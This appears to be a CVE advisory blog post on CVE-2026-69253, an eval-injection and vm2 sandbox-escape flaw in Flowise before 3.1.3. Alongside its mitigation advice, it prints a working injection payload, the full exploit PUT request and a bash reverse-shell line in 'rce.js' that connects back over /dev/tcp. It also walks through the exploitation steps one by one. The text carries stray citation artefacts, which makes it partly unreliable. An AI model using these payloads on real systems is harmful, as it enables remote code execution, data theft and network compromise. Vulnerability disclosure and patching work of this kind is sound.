Listen to this Post
How CVE-2026-69253 Works
Flowise AI is an open-source, low-code platform that allows users to build AI applications through a drag-and-drop interface. To offer flexibility, the platform enables the execution of custom JavaScript within a sandboxed environment via nodes like the Custom Function Agent Flow or Custom Tool. By default, this sandbox was powered by the `patriksimek/vm2` package, a tool that executes untrusted code within the same Node.js process. This design introduces significant security limitations, making safe isolation inherently difficult. The maintainers of `vm2` have since deprecated the project, warning that it contains critical security issues and should not be used in production.
The specific vulnerability, identified as CVE-2026-69253, is a critical code injection flaw present in Flowise versions prior to 3.1.3. It stems from the improper neutralization of directives in dynamically evaluated code (an Eval Injection, CWE-95). Several components within Flowise, including AgentAsTool, ChatflowTool, and ExecuteFlow, are vulnerable. These components take a user-controlled `baseURL` input and insert it directly into JavaScript source code that is later executed inside the insecure `vm2` sandbox.
While the input is validated by a function called isValidURL, this validation is insufficient. The JavaScript `URL` class used in the validation does not adequately sanitize characters within the URL hash fragment【0†L?】. An attacker can exploit this by injecting malicious code at the end of the `baseURL` setting. For example, they can append `”;\n{malicious_code};//` to the URL【0†L?】. This injected code breaks out of the string context and is executed within the sandbox.
Because the `vm2` sandbox runs in the same Node.js process as the main application, it exposes risky dependencies like axios, moment, and node-fetch. An attacker can leverage these to escape the sandbox. A known technique involves using a path traversal vulnerability (CVE-2022-24785) in the `moment` library. By creating an object with a custom `match` function that always returns true, an attacker can bypass the patch for CVE-2022-24785 and use the `locale` function to load a file from anywhere on the system. This effectively allows the injected arbitrary JavaScript to escape the sandbox and execute commands on the host server with the privileges of the Flowise process user.
DailyCVE Form
Platform: FlowiseAI Flowise
Version: < 3.1.3
Vulnerability: Eval Injection
Severity: Critical
date: 2026-08-04
Prediction: 2026-08-11
What Undercode Say
Analytics showing the vulnerability in code:
The core of the vulnerability lies in how user input is handled and the insecure nature of the `vm2` sandbox. The following are key code snippets and commands related to the exploit.
Vulnerable Code Snippet (AgentAsTool.ts): The `baseURL` input is passed directly into the sandboxed code without proper sanitization【0†L?】.
// https://github.com/FlowiseAI/Flowise/blob/0c6924bb08a2156513b447d0e600651f29ea5aa8/packages/components/nodes/tools/AgentAsTool/AgentAsTool.ts
// ...
const code = <code>... ${baseURL} ...</code>; // < Injection point
// ...
const vm = new vm2.NodeVM({...}); // < Insecure sandbox
Broken Validation Function (validator.ts): The `isValidURL` function fails to validate characters in the URL hash, allowing injection【0†L?】.
// https://github.com/FlowiseAI/Flowise/blob/aff06479aa9ec24847bd65ac786b46ac85ae7e03/packages/components/src/validator.ts
export const isValidURL = (url: string) => {
try {
new URL(url); // < Does not validate hash fragment characters
return true;
} catch (e) {
return false;
}
};
Injection Payload: An attacker can inject code by crafting a malicious baseURL.
"https://192.168.122.62:3000/\";
fake = new String(\"../../../../../../../../../../../../../../../../../tmp/evil.txt\");
fake.match = function(regexp){return true;};
require(\"moment\").locale(fake);//"
Exploitation Request: The malicious payload is sent via a `PUT` request to update a Chatflow.
PUT /api/v1/chatflows/{chatflow_id} HTTP/1.1
Host: 192.168.122.62:3000
...
{"name":"RCE SANDBOX ESCAPE CHAT FLOW","flowData":"...\"baseURL\":\"https://192.168.122.62:3000/\\\";\nfake = new String(\\"../../../../../../../../../../../../../../../../../home/node/.flowise/storage/{org_id}/docustore/{store_id}/rce.js\\");\nfake.match = function(regexp){return true;};\nrequire(\\"moment\\").locale(fake);//\"..."}
Reverse Shell Payload (rce.js): The uploaded JavaScript file contains a reverse shell payload to connect back to the attacker.
// rce.js
const { exec } = require('child_process');
exec('bash -c "bash -i >& /dev/tcp/172.17.0.1/1337 0>&1"');
How Exploit
- Authentication: The attacker must first authenticate to the Flowise server. This can be done by sending a `POST` request to
/api/v1/auth/login【0†L?】. - Upload Malicious Payload: The attacker uploads a malicious JavaScript file (e.g., a reverse shell) to the server. This is achieved by using the document store feature, sending a `POST` request to
/api/v1/document-store/loader/process/{loader_id}. The response contains the `storeId` where the file is stored【0†L?】. - Create Agentflow: The attacker navigates to the Agentflow tab and creates a new, empty Agent. This Agent will be used by the `AgentAsTool` node.
- Create and Modify Chatflow: The attacker creates a new Chatflow and adds an `AgentAsTool` node, configuring it to use the previously created Agentflow. They also add a `Buffer Memory` node and an `Open AI Chat Model` node, connecting them all to a `Tool Agent` node.
- Inject Payload: Using a tool like Burp Suite, the attacker intercepts the `PUT /api/v1/chatflows/{chatflow_id}` request used to save the Chatflow. They modify the `baseURL` input of the `AgentAsTool` node with the injection payload, which points to the uploaded malicious file【0†L?】.
- Trigger Execution: The attacker saves the Chatflow. When the `AgentAsTool` node is executed (e.g., by interacting with the Chatflow), the injected code is passed to the `vm2` sandbox, escapes it, and executes the uploaded payload, granting the attacker remote code execution on the server【0†L?】.
Protection
Upgrade Flowise: The primary and most effective mitigation is to upgrade to Flowise version 3.1.3 or later. This version fixes the vulnerability by changing how the `baseURL` is handled in the sandbox and implementing stricter URL validation.
Migrate Sandbox: The `vm2` sandbox is inherently insecure and deprecated. Flowise has started migrating to the E2B sandbox【0†L?】. A more secure alternative like `isolated-vm` should be used for executing untrusted code【0†L?】.
Network Segmentation: Isolate the Flowise server to limit the potential impact of a successful compromise.
Principle of Least Privilege: Run the Flowise service with the minimum necessary privileges, rather than as root, to reduce the potential damage from RCE.
Impact
Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary code on the server running Flowise. This results in a full compromise of the application and the underlying server environment. The attacker can gain the privileges of the Flowise process user, which could lead to data exfiltration, denial of service, and further lateral movement within the network. The vulnerability is rated as Critical with a CVSS v3.1 base score of 9.8.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
